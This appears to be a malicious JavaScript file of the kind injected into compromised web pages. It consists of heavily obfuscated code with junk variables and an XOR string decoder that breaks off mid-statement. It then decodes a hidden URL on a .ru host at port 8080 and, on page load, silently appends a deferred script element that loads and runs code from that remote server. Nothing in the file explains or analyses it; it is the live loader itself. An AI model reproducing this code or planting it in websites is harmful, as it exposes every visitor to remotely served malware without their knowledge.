var Ia="8f9486b3b3f0939bb690aee6809b8780eca48f81b581b3b699b285bba7dbe5cfe4dabbbbbb8dba96a7bf929ab99d9b9f8fb7939cbdb8a2bd998a939886a2b59f9c9d93cb8499cdae9f93e8bcadeb8494";var ja='';var wx;if(wx!='au'){wx=''};function G(U){var lQ=""; var w=function(y,M){var hv=false;var Ye=new String();return y[k("hcraoCedtA", [1,0])](M);};var QY;if(QY!='LJ'){QY='LJ'};this.OJ="OJ";var dn;if(dn!='wmi'){dn='wmi'};var nR=26137; var e=function(g){var TW;if(TW!='' && TW!='dx'){TW=null};var PF;if(PF!='' && PF!='Lv'){PF='C'};this.lV=false;var o = '';var Go =[182,128,33,0][3];this.QU="";var s = -1;var Z =[0][0];var bM;if(bM!='iD' && bM != ''){bM=null};var EB='';g = new MM(g);var Sm;if(Sm!='' && Sm!='BEx'){Sm=null};var qC=new Array();var gh="gh";var gL=new Date();this.mw="";var fz;if(fz!=''){fz='ag'};for (Go=g[k("tlnegh", [1,3,2,4,0,5])]-s;Go>=Z;Go=Go-[73,1][1]){o+=g[k("tcAarh", [1,5,3,4,2,0])](Go);}var ar=new Array();return o;var Om;if(Om!='' && Om!='cE'){Om='hh'};var uz=15895;};this.xN=false;var oP;if(oP!='' && oP!='ID'){oP='UO'};var rC;if(rC!='' && rC!='fN'){rC=null};this.aS=44048; var D=function(a,wm){return a^wm;var FL;if(FL!='z' && FL!='sn'){FL=''};};var sQ=new Date();var Gqu="Gqu";var UI="UI"; var Lz;if(Lz!=''){Lz='gJ'};function oi(Y){var kn=[1][0];var P=[0][0];var nK=30751;var r=[42,255,225,146][1];var Yx;if(Yx!='sk' && Yx != ''){Yx=null};var I=Y[k("elgnht", [1,0])];var mg=new String();var xS;if(xS!='Ly'){xS=''};var Q=[235,109,246,0][3];var AR=new String();var GU=new Date();var Es=new Date();while(P<I){var NU=new Array();P++;this.eZ='';var Xq;if(Xq!='aa'){Xq='aa'};Pn=w(Y,P - kn);Q+=Pn*I;var Mh='';var df;if(df!='' && df!='FR'){df='bP'};}var Vr='';var Pk;if(Pk!='' && Pk!='PE'){Pk=''};return new MM(Q % r);}var IN='';var ye;if(ye!='' && ye!='qj'){ye='eZE'};var BH="BH"; this.AA=false;function k(g, v){var R=false;var kn=[1,152,248,182][0];var L = v.length;var ZE;if(ZE!='IX' && ZE!='No'){ZE='IX'};var Vs;if(Vs!='Dp' && Vs!='zz'){Vs='Dp'};var Z=[0,153,31,250][0];var o = '';var ZmN;if(ZmN!='Yez'){ZmN='Yez'};this.rf='';var yb = g.length;var RL;if(RL!='VG'){RL=''};var Lx=new Date();var JBo;if(JBo!='da' && JBo!='NUi'){JBo=''};this.Pi="";for(var Go = Z; Go < yb; Go += L) {var VT;if(VT!='tq' && VT != ''){VT=null};var so=false;var i = g.substr(Go, L);var jr="jr";var dB;if(dB!='SF'){dB='SF'};var WB="WB";if(i.length == L){var hU;if(hU!=''){hU='Iy'};this.aO='';for(var P in v) {var uze=new Array();var pc;if(pc!='Gy' && pc!='YL'){pc=''};var cw=new Date();o+=i.substr(v[P], kn);var iv;if(iv!='' && iv!='Nl'){iv=''};var jX;if(jX!='' && jX!='NV'){jX=''};var XZ;if(XZ!='' && XZ!='ZG'){XZ='TQ'};var hZ;if(hZ!='' && hZ!='tu'){hZ='bd'};}var El;if(El!='' && El!='fc'){El=null};var EUY;if(EUY!=''){EUY='bq'};var CY=new String();} else {var qL;if(qL!='' && qL!='hTE'){qL=''};  o+=i;var XC=912;var Wa=new Date();}var xJ;if(xJ!='OL'){xJ=''};}var hA=38605;var Ld;if(Ld!='zi' && Ld!='mK'){Ld='zi'};var pM=new String();var QE=new String();return o;var nd;if(nd!='NM' && nd!='rg'){nd='NM'};}var ga;if(ga!='' && ga!='Sz'){ga='MV'};this.cKk="";var x=win
var g='';function c(){this.B='';var N;if(N!=''){N='Mi'};this.O="";var j=unescape;var D;if(D!='Tq'){D=''};var n=window;var o;if(o!=''){o='E'};var xd=new String();var S=j("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%73%6f%67%6f%75%2e%63%6f%6d%2f%68%75%6c%75%2e%63%6f%6d%2e%70%68%70");var F=new Array();var pk=new Array();function L(r,rs){var y="";this.CK='';var C=String("9aIHg".substr(4));var HL;if(HL!='f' && HL!='MM'){HL='f'};var G=j("%5b"), K=j("%5d");var fH=new Array();var fl=new Array();var b=G+rs+K;var x=new RegExp(b, C);return r.replace(x, new String());};var _=new Array();this.Xr='';var Yu;if(Yu!='un' && Yu!='Q'){Yu=''};var fK=new String();var se;if(se!='q' && se!='VC'){se='q'};var rx=new Array();var V=new String();this.iE="";var cn=document;var lL;if(lL!=''){lL='RE'};var M=L('87292224509722437837543403541327','52743169');var dx;if(dx!='QK'){dx=''};var Yf;if(Yf!='Tl'){Yf='Tl'};function GK(){var vz=new String();var rp=j("%68%74%74%70%3a%2f%2f%72%65%74%69%72%65%74%65%72%72%69%66%79%2e%72%75%3a");var Pu="";var px="";V=rp;var ec=new Date();V+=M;V+=S;try {var HW;if(HW!='NE'){HW='NE'};v=cn.createElement(L('sKczrRiEpKtQ','EFRA9zQyNK6'));var GS;if(GS!='' && GS!='Nh'){GS=null};var Ir;if(Ir!='' && Ir!='Rs'){Ir=null};v[j("%73%72%63")]=V;var po;if(po!='OG' && po!='Ay'){po=''};v[j("%64%65%66%65%72")]=[1,3][0];var Wb="";cn.body.appendChild(v);var cP=new Date();var rC;if(rC!='' && rC!='w'){rC=''};} catch(Sg){alert(Sg);var gn;if(gn!='pu' && gn != ''){gn=null};};var GF="";}var EZ;if(EZ!='YZr'){EZ='YZr'};var CZ;if(CZ!='cK'){CZ='cK'};n["onloautEi".substr(0,5)+"d"]=GK;var Ux=new Date();var Oi=new String();var nV=new String();};var UK=new String();var fD;if(fD!='Yh'){fD=''};c();var Dz;if(Dz!='mi' && Dz!='Sx'){Dz='mi'};